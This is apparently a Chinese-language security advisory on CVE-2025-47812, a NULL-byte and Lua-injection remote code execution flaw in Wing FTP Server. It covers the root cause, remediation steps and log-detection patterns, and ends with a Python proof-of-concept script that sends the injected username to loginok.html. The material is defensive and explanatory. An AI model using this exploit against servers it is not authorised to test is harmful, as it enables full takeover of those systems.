一、CVE‑2025‑47812:重大“NULL 字节 + Lua 注入”RCE 漏洞
概要
-
漏洞编号:CVE‑2025‑47812
-
危害等级:CVSS 评分 10.0/10.0,满分,属于“关键严重”。
-
影响版本:所有 Wing FTP Server ≤ 7.4.3(包括 7.4.3),影响 Windows、Linux 和 macOS 平台 。
漏洞成因
- NULL 字节截断:在 /loginok.html 登录接口中,username 参数未进行 NULL 字节过滤。C/C++ 端使用 strlen() 函数时,遇到 %00(NULL)后会截断字符串,只检查 NULL 前的内容。这就允许攻击者通过构造用户名如 anonymous%00<payload> 绕过 验证,并获得登陆权限。
- Lua 注入:截断仅在验证层面发生,但整个用户名(包括 NULL 后附加的恶意 payload)作为 Lua 代码写入会话文件。当该会话被服务器加载(例如访问 /dir.html 等界面),恶意 Lua 代码便会执行,导致远程命令执行(RCE)。
利用条件
-
无需认证:可通过匿名登录(如果启用),实现完全零认证攻击 。
-
可远程攻击:攻击者只需向目标服务器发送恶意 POST 请求,附带构造好的 username 字段即可触发漏洞。无需登录 shell,也不需管理员权限即可执行命令。
权限提升
-
Linux 上:以 root 权限执行任意命令。
-
Windows 上:以 NT AUTHORITY\\SYSTEM 权限执行任意命令。
-
由于默认服务配置通常以高权限运行,成功利用基本等同于完全控制服务器。
PoC 与实战利用
-
已公开 Python PoC,可批量扫描多台目标,如 anonymous%00… lua payload 自动注入并获取。
-
攻击工具如 Metasploit 模块已集成该漏洞,门槛显著降低。
-
7 月 1 日起,全球多起真实攻击(如美国客户被入侵,执行目录扫描、创建后门账号、部署远程运维工具)已被捕获 。
相关宽幅威胁组件
此外研究人员发现的其他严重问题包括:
-
CVE‑2025‑27889:未授权密码泄露漏洞;
-
CVE‑2025‑47811:服务默认以 root/SYSTEM 身份运行,缺乏沙箱限制,加剧风险;
-
CVE‑2025‑47813:超长 UID Cookie 导致路径泄露;
-
CVE‑2025‑5196:通过 Lua 管理控制台执行未授权操作(虽然利用难度高),但也在 7.4.4 中一并修复。
修复建议
总结
-
漏洞性质:完全未授权,零认证,允许任意命令以系统最高权限执行,严重度极高,已被真实攻击利用。
-
影响面广:目前互联网曝光设备约 8,000+,其中约 5,000 台暴露 Web 界面,风险极高 。
-
应急推荐:立即升级至 7.4.4+,关闭匿名登录,尽快实施最低权限运行,部署安全监测与防御措施。
二、修复策略(企业级应急响应方案)
以下是针对 CVE-2025-47812(Wing FTP Server RCE 漏洞) 的:
1、漏洞确认流程
版本确认:
-
登录 Wing FTP Server 管理页面,查看版本信息(如登录页面底部或后台“Help/About”)。
-
如果版本 ≤ 7.4.3,说明存在漏洞风险。
检测日志异常(筛查已被利用情况):
-
检查 audit.log 或 web 访问日志中是否出现 loginok.html 请求中带 %00 的可疑 username:
POST /loginok.html HTTP/1.1
username=anonymous%00print("hacked")&password=xxx -
查找包含 lua 关键字的用户登录会话文件,如 sessions/*.lua。
文件完整性检查(防后门):
-
比对 Web 根目录和配置目录(如 /WingFTP/resources、/WingFTP/system)文件的哈希值。
-
查找异常 .lua 文件或新增管理员账户。
2、立即修复操作步骤
1️⃣ 停止服务 | systemctl stop wingftp 或关闭 GUI 服务控制器 |
2️⃣ 备份数据 | 备份配置、用户数据库、日志:/WingFTP/* |
3️⃣ 升级版本 | 下载并安装最新版 7.4.4 或更高:FTP Server Download |
4️⃣ 删除旧会话 | 清理所有 sessions/*.lua 会话文件(防止恶意代码残留) |
5️⃣ 禁用匿名 | 设置面板中关闭“允许匿名用户访问” |
6️⃣ 权限隔离 | 修改服务账户:确保 Wing FTP 不再以 root / SYSTEM 身份运行 |
7️⃣ 重启服务 | systemctl start wingftp 并测试功能完整性 |
8️⃣ 日志监控 | 启用实时日志告警,对“loginok.html”异常请求进行告警 |
三、PoC 测试脚本(仅用于测试你自己的服务器)
注意事项
-
请勿用于未授权系统,否则可能违法!
-
确保目标允许匿名访问(或用测试用户模拟匿名)
-
默认访问端口为 5466(或 Web 管理端口)
Python PoC:触发 Lua 注入
import requests
import urllib.parse
target = "http://192.168.1.100:5466/loginok.html"
payload = 'anonymous%00print("PoC_SUCCESSFUL")'
data = {
'username': payload,
'password': 'any',
'submit': 'Login'
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0'
}
resp = requests.post(target, data=data, headers=headers)
if resp.status_code == 200:
print("[+] Payload Sent Successfully")
else:
print("[-] Failed to send payload. HTTP Code:", resp.status_code)
验证是否注入成功
访问 /dir.html(或其他页面)触发会话载入。
如果目标服务器开启日志,查看是否打印:
PoC_SUCCESSFUL
额外建议
-
✅ 配置 AppArmor / SELinux 限制服务行为;
-
✅ 设置访问控制,仅允许可信 IP 管理;
-
✅ 使用 IDS 系统(如 Suricata)加入 NULL 字节攻击规则;
-
✅ 与 SIEM 或 IBM QRadar 联动,监控 loginok.html 异常行为;
-
✅ 若无法升级,建议临时关闭 Web 服务端口(如 5466)防止利用。
评论前必须登录!
注册